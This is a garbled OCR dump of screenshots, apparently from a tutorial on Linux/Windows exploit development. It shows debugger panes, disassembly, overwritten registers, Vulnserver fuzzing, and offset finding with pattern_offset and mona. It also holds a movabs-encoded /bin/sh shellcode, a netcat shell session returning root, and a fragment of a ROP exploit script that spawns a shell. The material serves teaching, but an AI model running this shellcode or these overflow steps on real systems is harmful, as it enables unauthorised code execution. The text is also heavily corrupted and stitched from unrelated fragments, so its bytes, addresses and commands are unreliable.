©x000000000040064d
©x0000000000400651
©X0000000000400655
©x0000000000400658
©x000000000040065d
©x000000000040065T
©X0000000000400664
0x0000000000400669

<+0>1
<+1>:

<+4>:

<+8>1

<+18>:
<+22>:
<+32>1
<+36>1
<+46>1
<+50>:
<+60>:
<+64>:
<+68>1
<+72>:
<+75>1
<+80>1
<+82>1
<+87>:
<+92>:

push
mov
sub
movabs
nov
movabs
nov
movabs
nov
movabs
mov
nov
lea
mov
call
mov
nov
mov
call

rbp
rbp,rsp

rsp,0x30
rax,0x48e2894850C03148
QWORD PTR [rbp-0x30],rax
rax,0x732f6e69622f2fbb
QWORD PTR [rbp-0x28],rax
rax,0x485750e789485368
QWORD PTR [rbp-0x20],rax
rax,0x50f3bc08348e689
QWORD PTR [rbp-0x18],rax
BYTE PTR [rbp-0x10],0x0
rax, [rbp-0x30]

rdi,rax

0x4004d0 <strlengplt>
esi,eax

edi,0x400764

eax,0x0

0x4004e0 <printf@plt>
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edb - /bin/nano [2843]

Options

File View Debug Plugins

DHHHB

Help

0000744
00007744
0000744
0000744
0000744
00007744

8e5156b6
8e5156b8
8e5156b9
Be5156bd
8es156c2
Bes156¢6

73
c3
4
s
4z
b8

31

83
de
89
00

)
04
00

08

o1 00

24

00 00

ox7f

sub rsp,

b

mov [rsp,

Interrupted SYSCALL: read(0,0x00007ffeadc209ff,0x00006
syscall will be restarted on next step/run
rax = OxFEFFFFFFTTrffeo

Data Dump

0x0000000000400000-0x000000000042000

aocasen
popoase:

0000000

oa00a0e0
0000000
popoane:
0000000
000000
0000000
popcase:

0000000

000000
oa0caseo:

00400000
00400010
00400020
00400030
00400040
00400050
00400060
00400070
00400050
00400090
00400020
0040000
004000c0

7t
02
40
o0
o6
a0
3
03
3
35
1
o1
o0

as
00
o0
00
o0
00
o1
00
02
02
00
o0
00

ac
3e
o0
o0
00
a0
00
o0
00
40
00
00
0

6
00
00
00
00
00
00
o0
00
00
00
00
00

02
o1
o0
0
o5
00
00
o0
00
00
o0
o5
00

o1
00
o0
00
o0
00
o0
o0
00
00
o0
o0
00

o1
00
00
38
o0
o0
00
00
00
00
00
00
o0

00
00
o0
o0
00
00
o0
o0
o0
00
o0
o0
00

o0
a0
03
09
a0
40
b
03
3
1
o1
o0
00

00
3e
e
00
o0
00
o1
o0
02
00
o0
o0
00

o0
a0
02
0
00
40
00
00
3
o0
00
00
3

B Stack

<

ove7fre:
00007 fe:
00007 e
00007 fe:
00007 ffe:
00007 fe:
00007 ffe:
00007 ffe:
00007 ffe:
00007 fe:
00007 e
00007 fTe:
00007 ffe:
00007 fe:
00007 ffe:

Stack

Registers
FEEEFETTTTITean
00007 448515600
0000800060000001
00068000000003c5
00007 Feadc209cE
000080007 F 17771
00007 Feadc20971
0008800060000060
0006800080000000

Bookmarks | Registers

2dc209c5 (00007 F44Bea26a0a
dc2090 (00007 feadc20ade ¢
adc20945|000000BO013a837C
adc209¢0|0000A00100008000
adc209¢5|0000A0BO00D0G00D
c20970 (00007 1448255000 | P,
adc20975(0000008000401737 |7. .
adc20a00 (00007 1448e43adcB [15C.D
adc20205(000000BO004O1LIO .. .
adc2010|0000000100000000
adc20215|000000B100000015
adc20a20|000A0EA00D0G00D
adc20228|0000O0BO00G2¢300
adc20a30|000000B000000000
adc20538 (00007 f feadc26cdc L (0]

Debugger Error Console

(2L
return|a;

ascrr

paused
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Would you like Firefox to remember this login?
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rex 0x9876  ©x9876

rdx ox0 0x0
rsi ox0 ox0
rdi ox0 ox0
rbp ox0 ox0
rsp Ox7ffffffe0so  ox7fffffffeose
rs 0x0 0x0
ro ox0 ox0
rie 0x0 0x0
ri1 ox0 ox0
ri2 ox0 ox0
ris 0x0 0x0
ria ox0 ox0
ris 0x0 0x0
rip 0x4000C1 0x4000c1 < start+17>
eflags ox202 [ IF
cs 0x33 0x33
ss ox2b ox2b
ds ox0 0x0
es 0x0 ox0
fs ox0 ox0
9s 0x0 0x0
Jbopedat x/hx &meml
0X6000d8 : 0x1234

gdb-pedas$
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# objdump -D -M intel hello-world

hello-world:

file format elf64-x86-64

Disassembly of section .text:

00000000004000b0 < Start>:

4000b0: b 61 mov  al,oxl

[ 4000b2: 48 31 ff xor rdi, rdi
4000D5; 48 83 c7 01 add _ rdi.ox1
4000b9: 48 be d8 00 60 00 00  movabs rsi,ox6000d8
4000c0: 00 00 00
4000c3 ba 6c 00 00 00 mov  edx,®xc
4000c8 of 05 syscall
4000ca b8 3c 00 00 00 mov  eax,0x3c
4000cf bf 01 00 00 00 mov  edi,ox1
400004 : of 05 syscall

Disassembly of section .data:

00000000006000d8 < GLOBAL OFFSET TABLE >:
65 6¢ 6C 6f

600008
6000dd
6000€0:
6000e2:
6000e3:

68
20
72
64
0a

77
6c

6f

push  @x6f6c6c65
and  BYTE PTR [rdi+ox6f],dh

jb 60014e <_end+0x66>
s
.byte oxa
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CONNECT (2) Linux Programmer's Manual

CONNECT(2)

NAME

connect - initiate a connection on a socket
SYNOPSIS

#include <sys/types.h> /% See NOTES +/

#include <sys/socket.h>

int connect(int sockfd, const struct sockaddr *addr,

socklen_t addrlen);

DESCRIPTION

The connect() system call connects the socket referred to by the file descriptor
sockfd to the address specified by addr. The addrlen

argument specifies the size of addr. The format of the address in addr is determined
by the address space of the socket sockfd; see

socket(2) for further details





images/00385.jpeg
Registration - unregistered

‘Thank you for trying Easy File Shering Web Server!
Easy Fie Sharing Vieb Server is a sharemare. You are imited to 15 days of
use for an unvegstered version, after the evaluaton period, it can orly run

for 30 minutes at a tme. To remove the lmitation, a Registration code for
Standerd Editon, Secure Ediion or Corporate Edion must be purchased.
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Share the product to get a special discount

Username: |
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#
# whoami

root

#

#nc -lp 1234

whoami
stack

1s

Desktop
Documents
Downloads

Music

Pictures

Public

Templates

videos

capstone
edb-debugger
examples. desktop
reverse-tcp
reverse-tcp.c
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‘The instruction at 0142424242 referenced memory at 0142424242, The
memory could not be read.

Click on OKto terminate the program
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# netstat -ntlp
Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address State
tcp 0 ©0.0.0.0:902 LISTEN
tcp ) [00.0.0.0:1234 LISTEN
tcp 0 © 127.0.0.1:8307 LISTEN
tcp ) 0 0.0.0.0:443 LISTEN
tcp6 ) 0 :::902 LISTEN
tcp6 ) ) 8307 LISTEN
tcp6 0 0 43 LISTEN

#
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registers--

oxd (*\r')
ox0

x5

oxd ('\r')
0x600020 ("Hello There!\n")
ox1

ox0
ex7fffffffenan
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ox0
ox0
0x0
0x0
0x0
ox0
ox7fFFFfffe0sn --> Oxl
CLA000RL (< start+ll>: mov  eax,0x3c)
0x0
ox0
0x0
0x0
0x0
ox0
0x0
R15: OX0
EFLAGS: 0xa@7 (CARRY PARITY adjust zero sign trap INTERRUPT direction OVERFLOW)
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registers
RAX: @x11111111

REX: 0x11010110

RCX: OX0

RDX: @Xx0

RSI: OX0

RDI: OX0

REP: OXO





images/00241.jpeg
ke stack » - - ]

0000| Ox7FFFFffdefo --> X0
0008| 0x7FFFFffdefs —-> 0.7 1 (7220745 (<__libc_start_main+245>: nov e
di,eax)

0016] 0x7FFFFFfFdfo0 --> X0

8024| Ox7FFfFFffdfos8 --> Ox7FFFffffdfds --> Ox7FFFFfffe331 ("/home/stack/buffer-
overflow/another /buffer")

0032| 0x7Tf777df10 --> 0x200000000

8040| Ox7FFIFFffdf18 --> 0x40057b (<main>: push  rbp)

0848| Ox7FFFffdf20 --> X0

0056| 0x7FFFFffdf25 --> 0x401b3ccaarobsab3

[-o--eeememes s - - e
Legend: <, data, rodata, value

Breakpoint 1, 8x00000000004005ff in main ()
gdb-pedas c

Continuing.

Hey!! , you succeeded

[Inferior 1 (process 3894) exited normally]
Warning: not running or target is remote
gdb -pedas
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<= -- -- registers- -- -- -- -
RAx: OXFEEFFFFFFFfFffoo
REX: 0X0
RCX: 8%
RDX: X0
RST: 0x0
RDI: 0x
REF: 08X
RSP: Ox7Tfffffe080 --» ox1
RIP: 0.900007 (<_start+18>: mov  eax,ex3c
: ox0
"9 : 0x
R10: 0x0
R11: 0x0
R12: 0x0
R13: 0x0
“14: 0x0
R15: 0x0
EFLAGS: 8x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
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CF

Not set
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0040134D [ . 8D4s ES LEA EAX, DWORD PTR S55: [228-17]

00301350 | - es0szs MOV DWORD PTR SS: [£5B],ERX

00101353 | | E8 78080000  Caii <MP.smsverc.screpy> screpy
oos013s8 | . Ba o0000OOD MOV EAX,0

ooso13sp | - cs 12avE

oosoz3sz L. c3 Rz
i —
ooso1ze0 B3 D8 85

ooso1zeL =5 D8 =5

ooso1zez B3 8 83

ooso1zes  EC D8 =C

ooso1zes 18 8 18

oosozes  C7 D8 C7

0001366 - 04 D8 04

00801367 . 24 24 30 40 ASCIT "$308"

ooso13eB 00 8 00

ooso1zec  E8 8 =2

o0s0136D 67 D8 &7 cuaa vg*
ooso1zeE o8 8 08

o0s013er 00 8 00

o0s01370 00 8 00

ocoso13mL  ©7 D8 C7

oos0137z 08 B8 04

00801373 28 D8 24 cuaa v50
00801374 00 8 00

o0s01375 00 8 00

o0s01376 00 8 00

00401377 00 8 00
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04AD5978 |ntdll.77016ACD
03AD6FAC| 43434343
32424242 |+ CORRUPT ENTRY
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images/00116.jpeg
OxFEFFFFFFFFffifo
0x0

0x0

0x0

0x0

0x0

0x0
ox7fffffffeese --> oxl1

Dldanone (<_startslas: shl  rax,oxd

0x0

0x0

0x0

0x0

ox0

0x0

0x0

R15: Ox0

EFLAGS: ©x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
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=> 0x4005ff <main+4>: sub  rsp,0x20
6x400603 <main+8>: mov  DWORD PTR [rbp-0x14],edi
6X400606 <main+11>: mov  QWORD PTR [rbp-0x26],rsi
6x40060a <main+15>: mov  DWORD PTR [rbp-0x4],6x1
0x400511 <main+22>i MoV rax,QHORD PTR [rbp-0x20]

[-- --- --- --- -----stack- - --- --- ---
0006 Ox7FFFFffdef0 --> X0

0008| Ox7FFFFffdefs --> 0x771717230745 (<_libc_start_main+245>: nov e
di,eax)

0016 Ox7FFFFFFfdfo0 --> 6x0
024| OX7FFFFFFfdfe8 --> OX7FFFFfffdfds --> ex7FFFFFffess2 (
overflow/another /buffer")

0032| 0x77FF7d710 --> 0x200000000

0846 Ox7FFFFFFfdfi8 --> 0x30057h (<main>: push  rbp)
0048 Ox7FFFFffdr20 --> X0

0056| 0x7f7FF7F7df28 --> 0x8df8a50166b1b996

Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004005Ff in main ()
db-pedas

home/stack/buffer -
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[--

%
assal COXTFFTTFrfdedo --» OXTFFTFFFfdrds --» OXTFFFFfrressb (" /hume/sta(k/huffer—

overflow/exec/exec")

0008| ox7fffffffdeds 0x200400520

0816| Ox7fFFffffdeco OxTFFFFFFFdfde --> ex2

0024| ox7fffffffdees 0x100000000

0832( OX7fFFffffdefo x0

bede| ox7fFfffffdefs OX7TETTTaa67A5 (<_libe_start_main+245>: mov e

di,eax)

0648 Ox7FFFFFFfdfo0 --> 6x0

0056| Ox7FFFFFffdfos --> Ox7FFFFfffdfds --> ox7FFFFFffe3sb (*/home/stack/buffer-
overflow/exec/exec")

[

Legend: e, data, rodata, value
Stopped reason: “liiiiy
©x0000626262626262 in 22 ()
gdb-pedas I
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.

# ./heap abcdefghiKLmnopars tuvixy21234567890

4 Error in *./heap': free(): invalid next size (fast): 0x00055d69c927610 +++
Backtrace:

/1ib/x86_64-inux-gnu/Libc.50.6(+0x70bfb) [0x7£47d556bTb]

/1ib/x86 64-1inux-gnu/Libc 0.6 (+0x76fc6) [0x7f47d5 5cfc6]

/Uib/x86 64-inux-gnu/Libc.so.6(+0x7780e) [0x747d515d80e]

/heap(+0x71d) [0x55d69bee771d]

JUib/x86_64-1inux-gnu/Libc.s0.6( _Libc start mainvoxfl) [ox7fa7dsfeeze1]

- /heap (+6x5fa) [ox55de9beeT3 fa]

Z====== Memory map: =======

55d69be7000-55d69beeB000 r-xp o 3410001

55069C067000-55469¢0EB000 - -p 00009000 3310091

55069C008000-55469<0E9000 rw-p 0009100 3410091

55d69c92700-55469c948000 ru-p 00000000 o

714740000000 -7147d0021000 rw-p 60000% o

714740021000-7147d4000000 - p 0009000 o

71a7d5cc1000-7147d5ce5000 r-xp 2883432 /1ib/x86_64-Linux-gnu/Libgee s.s0.1
b 2885432 71ib/x86 64-inux-gnu/libgee s so.1
r-p 2883432 71ib/x86 64-inux-gnu/Libgee s s0.1
b 2883432 71ib/x86 64-Uinux-gnu/libgee s so.1
b 2885511 71ib/x86 64-Uinux-gnu/Libe-2.24.50
b 2885511 71ib/x86 64-Linux-gnu/libc-2.24.s0

7747d6279000-7147d627d000 r--p 00193000 2885511 71ib/x86 64-Linux-gnu/Libc-2 24 s0

7147d627d000-7147d6271000 rw-p 00197660 2885511 7Uib/x86 64-Uinux-gnu/Libe-2 24 50

7¢47d627000-7147d6263000 rw-p o o

7147d6283000-71476226000 - xp 2885413 /ib/x86_64-inux-gnu/1d-2.24.50

7747d6471000-7147d6481000 ru-p 00000060 o

7147d6422000-7147d6436000 rw-p 0000000 o

7147d6426000-71476427000 r--p 00023000 2885413 /ib/x86_64-inux-gnu/1d-2.24.50

7147d6427000-7147d6428000 rw-p 000240¢ 2885413 7Uib/x86 64-Tinux-gnu/1d-2.24.50

7147d6428000-7147d6429000 ru-p 00000000 o

711d1ed01000-711d1e430000 ri-p 00000660 i [stack]

711d1edec00-71fdlede 000 r--p 00000000 o [wvar]

77fd1edef000-711d1ed 1000 r-xp 000000 ° [vdso]

Aborted

0
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0261C0s slslslsl
0261508 s1slslsl
0z615C0C s1sslsl
02615C10 s1s1s1sl
02615CLs s1lslslsl
0z615Cie slslslsl
0261FCIC slslslsl
0261C20 s1s1s1s1
02615C2s s1slslsl
0z615Ce8 slslslsl
0z615C2C s1slslsl
02615C30 s1s1s1s1
02615C3s s1lslslsl
02615C38 s1slslsl
0z61CIC s1slslsl
02615C80 s1slslsl
02615Css slslslsl
0z615Csn slslslsl
02615CaC s1slslsl
0261FCS0 41414141

EEEEEEEEEEEERERIEENE
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# gcc -fno-stack-protector -z execstack hello-world.c
#

# ./a.out

shellcode Length: 51
hello world

#[
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GET / HTTP/1.1
Host: 192.168.129.128
User-Agent: Mozilla/s.0 (XI1; Linux x86_64; rv:52.0] Gecko/20100101 Firefox/52.
Accept: text/htnl,application/xhtnlexnl,application/xnl;g=0.9,%/%;4=0.
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Connection: close
Upgrade - Insecure-Request

1
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00000001
oozEpECS
00000350
00000000
o0sE7s68
oozEe778
o0zE008E
o12c1200

s2306142

=5 o028
cs o023
ss o028
Ds o028
s o0s3
as oozs

Lasezzr
00010206
[e———

ASCII "2Ba3BasBasBacBa7hat
ASCIT "login®

szbic o(zEEEEEEE)
szbic o(zEEEEEEE)
szbic o(zEEEEEEE)
szbic o(zEEEEEEE)
s2bic 7EED7000 (57E)
s2bic o (zEEEEEEn)

=3208_SUCCESS (00000000)
(N0, NB,NE, 3, NS, B%, G2, &)
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- -- -- -- registers- -- -- -- --
oxffffffffffffffoo

0x0

0x0

0x0

0x0

ox0

0x0

ox7fffffffeese --> Oxl1

CL000n (< start+18>: mov  eax,0x3c)

0x0

ox0

0x0

0x0

0x0

0x0

0x0

R15: @x0

EFLAGS: ©x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
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#

# ./a.out

Shellcode Length: 14
Segmentation fault

#
‘0
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=> 0x4005ff <main+4>: sub  rsp,0x20

6x400603 <main+8>: mov  DWORD PTR [rbp-0x14],edi

0x400606 <main+11:
0x40060a <main+15:

mov  QWORD PTR [rbp-6x20],rsi
mov  DWORD PTR [rbp-0x4],0x1

6X400611 <main+22>: mov  rax,QWORD PTR [rbp-0x26]

o= - “ - Listack-
0000| 0x77 7 defo --> Ox0

0088| OX7FFFIFffdefs --> 0x/77777236745 (<_libc_start_main+245>:

di,eax)
0016] 6x7fFFFFffdfoo --> Bxe

mov e

0024| Ox7fFFFFffdfos --> Ox7FFFFFFfdfds --> Ox7FFFFfffe33l ("/home/stack/buffer-|

overflow/another /buffer")

0032 Ox7FIFIFI7df10 --> 0Xx200000000

0040| OX7FFFFFFfdfis --> 0x40057h (<main>:
0048] Ox7FFFFFFFdf20 --> Bx0

0056] 0x7FFFIFIFdf2s --> Ox401b3ccdarobsabs

Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004605ff in main ()
gdb-pedas

push  rbp)
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Registers
0000800000001234
00008000800600000
0000800080000080
0006800000056783
00067 Ob611160
0000800080000000
0000800000056789
0006800000061234
0006800000000080
0000800080000000
0000800080000000
0008000060000000

Registers | Bookmarks
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Basaoon
Aadansag
Aadansra
Aadansie
Aadanss
Aadanzas
Aadansis
Aadansas
Aadanaan
Aadanaas
Aadanscs
Aadanses
Aadansen
Aadanses
Aadanzen
Aadanses
3535h555 54 Ao 48 55 AC o 43 o5 138 uds:

[17:28:481 Access violation when executing [376841361
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registers

0x0
0x0

0x0

0x0

0x0

0x0

ox0

Ox7FFFFfffe070 --> Bx1

6x400000 (<_start>: mov  eax,0x1)

0x0

0x0

0x0

0x0

0x0

0x0

0x0

RIS: 8x0

EFLAGS: @x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
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$ nc 172.16.89.131 9999
Welcome to Vulnerable Server! Enter HELP for help.
HELP

Valid Commands:

HELP

STATS [stat value]
RTINE [rtime value]
LTINE [ltime value]
SRUN [srun value]

TRUN [trun value]

GMON [gmon value]
GDOG_[gdog value]
KSTET [kstet value]
GTER [gter value]

HTER [hter value]

LTER [Lter value]

KSTAN [lstan value]
EXIT
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#define
#define
#define
#define
#define
#define

__NR read 0

T NR write 1

" NR_open 2

" NR_close 3

T NR stat 4

T NR fstat 5

T NR_lstat 6

T NR_poll 7

T NR lseek 8

" NR_mmap 9

" NR_mprotect 10

" NR_munmap 11

T NRbrk 12

T NR_rt_sigaction 13
T NR_rt_sigprocmask 14
T NR_rt_sigreturn 15
“NR_ioctl 16

" NR pread64 17

" NR purite64 18

" NR_readv 19

T NR writev 20

" NR_access 21

T NR pipe 22

“NR select 23

" NR sched yield 24
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Starting program: /home/stack/buffer-overflow/rop/rop < input.txt

[New process 5554]

process 5554 is executing new program: /bin/dash

[New process 5555]

process 5555 is executing new program: /bin/ls

exploit.py exploit.py~ input.txt pattern peda-session-rop.txt rop rop.c
[Inferior 3 (process 5555) exited normally]

Warning: not running or target is remote

gdb-pedas [l
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000 reds xprint @x555555755018
0X555555755018 --> 0x555555554516 (<puts@plt+6>: push  ox0
gdb-peda$
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# objdump -M intel -D hello-world | grep '[0-9a-f]:' | grep -v 'file' | cut -f2
| cut -f1-7 -d' ' | tr-s * | tr \t' ' ' | sed 's/ $//g" | sed 's/ /\\\x/
g' | paste -d "' -s
\xeb\x0c\x68\x65\x6C\Xx6C\x6F\x20\x77\x6F\x72\x6C\x64\x0a\xb0\x01\x48\x31\xff\x48
\x83\xc7\x01\x48\x8d\x35\xed\xFFAxFfF\xff\x48\x31\xd2\x48\x83\xc2\x0c\x0f\x05\x48
\Xlil\XCO\x4B\xB3\XCO\><3C\X4B\X31\xff\x0f\x05

#
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b ceios xprint 0x6000d8
0x6000d8 ("hello there\n")
gdb-pedas
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: ©x424242424242 ('BBBBBB')
0x4141414141414141 (' AAARRARA')

0x4141414141414141 ('AAAAAAAA')

ox7ffff7dd26ae --> @xe

OxFFFFFfoz
©0x400490 (<_start>: xor  ebp,ebp)
OX7FFFFFffe01o --> oxt

oxe

0x0

0x10202 (carry par‘ty adjust zero sign trap INTERR
Sl el e gl o inie
ana‘\d $PC address: 0x424242424242

[ o< 5 = stack -

6000| OXTFFFFFFFdf20 --> OXTFFFFFffe0ls --> Ox7FFFffffe3rs
0008| 0x71F{{1df25 --> 0Xx100000000

0016| ox7fffffffdf3e --> 0x0

0024| OX7FFFFFFFdf3s --> 0x7( 11723245 (<_libe_start_mat
0032] Ox7fIFffffdfan --> OX@

0040| OXTFFFFFFFdfds --> OX7TFITITffe018 --> OX7FFFFfffe373
0048| Ox7IFFffffdf50 --> 0x100000000

0056| Ox7FFFFFFfdfss --> 0x4005ba (<main>: push  rbp
H 2 i

Legend: code, data, rodata, value

Stopped reason: il

0Xx0000424242424242 in 22 ()

adb-pedas i
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EFLAGS: Bx10202 (carry parity adjust zero sign trap INTERRUPT direction overflow
)
[--=mmmmneee e ~code---- s s
0x40805a3 <copytobuffer+38>: @
6x4005a8 <copytobuffer+d3>: mov  eax,0x0
6x4005ad <copytobuffer+ds>: leave
-> 0x40053e <copytobuffer+49>: ret
6x4005af <main>: push  rbp
6x4005b0 <main+l>: mov  rbp,rsp
6x4005b3 <main+d>: sub  rsp,ox20
6x4005b7 <main+8>: mov  DWORD PTR [rbp-0x14],edi
[ eeeeeeee ~--n-eoee---stack----- -~ e
0600|0777 F 177155 ("ALBALIAJOAIIAJ2ATIATAAISATOATTAIBATS")
0008| 0x7FFFFfTTddon ("eAj1AJ2Aj3A 4AT5AI6ATTAIBATO")
016 0x777ITFFddon ("j3AJ4AJ5AI6AI7AIBATO")
0024| 0x7FFFFFdda0 ("AJ6AJ7AIBAIS")
0032| 0x7FFFffddad --> 0x396a4138 ('8A9"
0846| Ox7FFFFffddbo --> 60
0048| Ox7FFFFfffddbs --> 0x7fiif7a36745 (<__libc_start_main+245>: mov e

0056 Ox7FFFFFffddco --> 0x0
[ = 5 = = = 1
Legend: code, data, rodata, value

Stopped reason: “Iiiiiy

©x00000000004005ae in copytobuffer ()

odb-pedas i
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01DE7468
oos28778
o0s2008%
01301200

s2aza242

=5 o028
cs o023
ss o028
Ds o028
s o0s3
as oozs

Lasezzr
00010206
[e———

AsCII “ceeceeeeeeeeeeeeeee
ASCIT "login®

szbic o(zEEEEEEE)
szbic o(zEEEEEEE)
szbic o(zEEEEEEE)
szbic o(zEEEEEEn)
s2bic 7EE34000 (57E)
s2bic o (zEEEEEEn)

=3208_SUCCESS (00000000)
(N0, NB,NE, 3, NS, B%, G2, &)





images/00198.gif
NAME

execve - execute program

SYNOPSIS

#include <unistd.h>

int execve(const char *filename, char *const argv[l,
char *const envpll);

DESCRIPTION

execve() executes the program pointed to by filename. filename must be
either a binary executable, or a script starting with a line of the
form:

#! interpreter [optional-arg]
For details of the latter case, see "Interpreter scripts” below

argy is an array of argument strings passed to the new program. By
convention, the first of these strings (i.e., argv[0]) should contain
the filename associated with the file being executed. envp is an array
of strings, conventionally of the form key=value, which are passed as
environment to the new program. The argv and envp arrays must each
include a null pointer at the end of the array





images/00062.gif
# nasm -felf64 hello-world.nasm -o hello-world.o
#

# 1d hello-world.o -o hello-world

#

# ./hello-world

hello world

Segmentation fault

#
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00557030 S0 4A 62 43 00 30 B3 4D
00557020 10 B3 71 42 00 50 B0 4%

00557080 00 €D 53 52 00 60 93 52 00 iN.."R
00s570C0 5B 53 25 53 00 0A 2C 54 00 E°R.O"R
00557000 42 2C 2% 54 00 38 2% 54 00 5,718
00557020 08 31 E3 4E 00 B4 43 54 00 MT.&FT
00597050 19 52 BF 53 00 36 BF 53 00 RT.SST
00557100 C8 s6 1151 00 68 21 51 00 VT 8és
00557110 B0 21 25 51 00 3% 45 51 00 “1g. g
00557120 2a B1 0 00 00 00 00 00 00 *40 650

[14:46:161 Access violation when reading [444444981 — use
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3
5

ox1
0x0
0x0
0x0
0x0
0x0
0x0
ox7ffFffffelan --> oxl
0x300005 (<_start+5>: mov  edi,ox1)
0x0
0x0
0x0
0x0
0x0
0x0
0x0
RI5: X0
EFLAGS: 6x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[ code- &
0x4000a add  BYTE PTR [rax],al
0x4000ae:  add  BYTE PTR [rax],al
0X4000b0 < start>: mov  eax,0xl
=> 0x4000b5 < start+5>: mov edi, 6x1
0x4000ba <_start+10>: movabs rsi,0x6000d8
0X4000c4 <_Start+20>: mov  edx,0xc
0X4000C9 <_start+25>: syscall
0x4000ch <_start+27>: mov  eax,0x3c
ke stack ~§
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J0bedot help x

Examine memory: x/FMT ADDRESS.

ADDRESS is an expression for the memory address to examine

FMT is a repeat count followed by a format letter and a size letter

Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal),
t(binary), f(float), a(address), i(instruction), c(char), s(string
and z(hex, zero padded on the left).

size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).

The specified number of objects of the specified size are printed

according to the format. If a negative number is specified, memory is

examined backward from the address.

Defaults for format and size letters are those previously used.
Default count is 1. Default address is following last thing printed
with this command or “print".

gdb-pedas
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High memory

Low memory

Return address

Old base pointer

daaaaaaaaaaaaa

Top of the stack
‘—
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# ./jmp_hello
hello one
hello three
#[
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ox3c ('<')

ox0

CLA00000 (<_start+27>: mov  eax,0x3c)
oxc ('\xec')

0x6000d5 ("hello there\n")

Oxb (*\xeb')

ox0

Ox7fFfffffelan --> ox1

0100005 (<_start+37>: syscall)

ox0

ox0

ox0

0x302

ox0

ox0

ox0

RIS: Ox0

EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

---registers
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Ox7TITIITdTas --> coi00inn (< start+17>: mov  r8d,0x4)
CLi0000 (<addition+3>:  ret)

ox4

ox3

ox0

ox0

ox0

ox0

0x0

0x0
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Registers
0006000000060000
eo0600e0000a0000
0006000000001234
6006002000000000
00007 1d67acadds
6o0600e000060000
60060000600a0000
6006060000000000
0006000000060000
eo0600e0000a0000
60060000600a0000
6006002000080000

<

| Registers | Bookmarks
Stack

(00007 : 67acadas|

£ [00007ra:67acadso|

000070 67acads8|

<] 00007 ra:67acadso)

000070 67acades|

| 00007 ta:67acad7o)

000070 67acac78|

(000070 67acadBo)

000070 67acades|

00007 0 67acad90)

| loooo7¢td:67aead08]

0000000000001234 [4
bo00a000ee00a001

00007 fc57accab {6 .

000800000000000 |
000067 F67aecb26 |S106
00007 Fcl67aecb30 |egb

00007 fc57aecb3* |70 .
00007 6 7aecbsd [TINgH. . .

00067 6 7aecbe7 |ollob
00007 6 7aecb72 | g6

000671 fd67aecb88 |00 .

ascrz -t
asci1 =
asci1 =
ascIr ¢
ascn
ascin
|AscIT
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[+] Looking for cyclic pactern in memory
Cyelic pavtern (normal) found ac 0x002406c5 (lengoh 500 byses)
Cyelic pactern (normal) found ac 0x0024146c (lengch SO0 bytes)
Cyelic pactern (normal) found ac 0x00241352 (length 500 byves)
Cyelic pactern (normal) found ac 0x02357b0e (length 500 byves)
[+] Examining regisvers
510 contains normal pattern : 0x3TE24136 (offsec 230)
5P (0x02355500) paints st affsst 242 in mermal pattern (length 258)
[+] Examining SEH chain
[+] Examining svack (envire stack) - looking for cyclic pavtern
Walking stack from Dx0235£000 to 0x0235FEfe (DXD0DODEZE bytes)
002352510 - Contains normal cyclic pavvern av ESP-Oxf0 (-240) : offset 2, lengoh 438 (-> 0x0235d0l
[+] Exemining svack (envire svack) - looking for pointers to cyclic pavvern
Walking stack from 0x0235£000 To OX023SEEfe (0XDODODEZe byves)
0x0235%63c - Pointer into normal cyclic pacvern at ESP-0xS64 (-1380) : O0x023Sbl4 : offset 6, length 434
002352640 - Pointer into normal cyclic patvern av ESP-0xS30 (-1328) : 0x0235fbdd - offsec 54, lengch 446
0x02352628 - Pointer invo normal cyclic patvern av ESP-0xS08 (-1288) : 0x0235fb6e : offsec 34, lengch 406
002352720 - Poincer into normal cyclic pacvern av ESP-0x460 (-1120) : 0x0235bed 230, 1engeh 270
002352700 - Pointer invo normal cyclic pacvern at ESP-0x4S0 (-1104) : 0x0235csd 574, lengeh 126
002352704 - Pointer inve normal cyclic pacvern av ESP-Oxdde (-1100) : 0x0235£c08 250, lengeh 250
0x023523ec - Pointer into normal cyclic pacvern av ESP-0x2l4 (-532) : O0x0235fbdS : offsev S8, lengch 482
[+] Preparing outpuc file ’findmsp. oo’
- (Re)secting logfile findmsp.txt
[+] Generating module info table, hang on...
- Brocessing modules
- Dome. Let's zock 'm zoll.
51 | This wate pd acatan susl $500:18. 808000

- =speox10z)
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Registers

0006800080000000
0006800060000000
0000800000061234
000580000000080
00007 Fd67acads0
0006800060000000
0000800000001234
0000800000065675
0008800060000000
0006800060000000
0006800000000000
0005800080000060

El

| Registers | Bookmarks

5 Stack

o007 Frd:

~  [ooo07rra.

= beoorrra:
~] becerra:
00007 7d:

000077

000077
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00007 7d:

0000710

! looeorrra:

G7acad50
67acadss
67acads0
67acad5B
67acad70
6722278
67acads0
67acadss
67acad90
67acad98
67acada0

0000000000000001
00007 fd67acca7h {006
0005800000000000

00007 F67aecb26 |S06
00067 F67aecb30 |elg6
00007 6 7aecb31 | 7006
00007 6 Taecbsd (TI06
00007 Fd67aecbe7 |oligh
00067 6 7aecb72 | g6
00007 6 7aecbes | 006
00007 Fd§7aecbad [ TITob

ascrn

ascrn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
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stack 2728 0.6 0.0 11416 700 ? S 62:01 0:00 /bin/cat
stack 5341 0.6 0.0 11416 688 pts/0 S+ 07:45 0:00 cat
stack 5343 0.0 0.2 15948 2180 pts/4 S+ 07:45 ©:00 grep --color-
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# ./pattern offset.rb -q ©x396f4338 -1 5000
[*] Exact match at offset 2006
#1
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File Edit Format Run Options Windows Help

#1/usz/bin/python
fzom struct import *

buffer
buffer 4= 'a'*27

buffer += pack("<Q", 0%0040135f)
£ = open("input.txt”, "w")
£.urite (buffer)
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$ ./fuzzing.py
Welcome to Vulnerable Server! Enter HELP for help.

il
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QOsSTOR0 50 7e 48 00 80 8c 48 0o =0 5 A9 48 0o =E
00557050 S0 43 45 00 A0 57 45 00 20 €2 53 4D 00 23
